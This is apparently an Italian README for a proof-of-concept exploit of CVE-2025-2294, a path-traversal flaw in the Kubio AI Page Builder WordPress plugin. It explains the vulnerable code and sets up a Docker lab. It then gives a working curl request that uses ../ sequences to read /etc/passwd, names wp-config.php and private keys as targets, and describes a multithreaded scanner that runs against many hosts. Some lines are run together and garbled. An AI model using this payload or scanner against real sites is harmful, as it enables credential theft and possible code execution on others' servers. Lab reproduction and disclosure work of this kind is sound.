
Proof-of-concept exploit per CVE-2025-2294, una vulnerabilità critica LFI nel Kubio AI Page Builder per WordPress. Include uno scanner Python, un template nuclei e un laboratorio Docker per i test.
CVE-2025-2294 è una vulnerabilità critica di tipo Local File Inclusion (LFI) nel plugin Kubio AI Page Builder per WordPress. La vulnerabilità consente a un attaccante remoto non autenticato di trasmettere un parametro appositamente costruito, a causa del quale il plugin può includere un file arbitrario sul server; in presenza di un file PHP includibile, ciò può portare all'esecuzione remota di codice (RCE).
kubio/wp-content/plugins/kubio/cpe:2.3:a:extendthemes:kubio_ai_page_builder::::::wordpress::*CWE: CWE-22 — Limitazione impropria di un nome di percorso a una directory ristretta (Path Traversal).
__kubio-site-edit-iframe-classic-template.wp-config.php, chiavi private, log).Il codice vulnerabile è associato alla funzione kubio_hybrid_theme_load_template(), che accede all'array globale $_REQUEST:
$template_id = Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false);
if ($template_id) {
$new_template = locate_template([$template_id]);
if ($new_template !== '') {
return $new_template;
}
}
Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false) — prende il valore direttamente dall'insieme globale di dati di input ($_REQUEST combina $_GET, $_POST, $_COOKIE). Ciò significa che il parametro è controllato da remoto.
Se il parametro è presente ($template_id è vero), il codice chiama locate_template([$template_id]).
locate_template() — un'utilità di WordPress (o un equivalente nel plugin) per cercare template in base al percorso/nome relativo passato. In uno scenario normale, ci si aspetterebbe che vengano passati nomi di file all'interno di una directory di template sicura, ad esempio header.php o template-parts/content.php.
Il valore restituito ($new_template) viene quindi utilizzato — nell'implementazione originale ciò può portare a un include/require del percorso trovato, oppure al passaggio di tale percorso per l'output. Ciò crea una possibilità di LFI: l'attaccante può specificare un percorso verso un file arbitrario.
git clone https://github.com/iteride/CVE-2025-2294.git && cd CVE-2025-2294/ && docker-compose up -d
docker exec -it <WORDPRESS_DOCKER_ID> bash
Dopo l'estrazione, vai su http://localhost:8080/wp-admin/plugins.php e attiva il plugin
cd /var/www/html/wp-content/plugins
curl -L -o kubio-2.5.1.zip "https://downloads.wordpress.org/plugin/kubio.2.5.1.zip"
unzip kubio-2.5.1.zip
rm kubio-2.5.1.zip
chown -R www-data:www-data kubio
curl 'http://localhost:8080/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=../../../../../../../../../etc/passwd'

__kubio-site-edit-iframe-classic-template=<percorso>
Questo parametro passa una stringa che il plugin usa come identificatore/percorso del template.
Nel frammento di codice vulnerabile, il valore viene preso da $_REQUEST e passato a locate_template() senza normalizzazione o limitazione preventiva. Di conseguenza, è possibile un path traversal: se nel valore vengono inserite sequenze ../, il percorso risultante può uscire dalla directory prevista dei template e puntare a qualsiasi file nel filesystem (incluso /etc/passwd).
È proprio questo parametro a trasportare il payload dell'attacco — con il suo aiuto l'attaccante indica il file target.
__kubio-site-edit-iframe-preview=1
Questo è un flag di servizio (modalità anteprima / iframe-edit mode). Commuta l'elaborazione della richiesta nel ramo di codice in cui viene letto e utilizzato il template specificato in __kubio-site-edit-iframe-classic-template.
Senza preview=1 il plugin potrebbe non elaborare il parametro classic-template o usare una logica diversa; con preview=1 viene attivata la logica che consente la lettura e la restituzione del template, rendendo possibile lo sfruttamento.
/wp-content/plugins/kubio/readme.txt.

Lo script controlla l'output di /etc/passwd ma è molto più veloce di nuclei grazie al multithreading e supporta anche la scansione di più host contemporaneamente
python3 scan.py --target http://localhost:8080
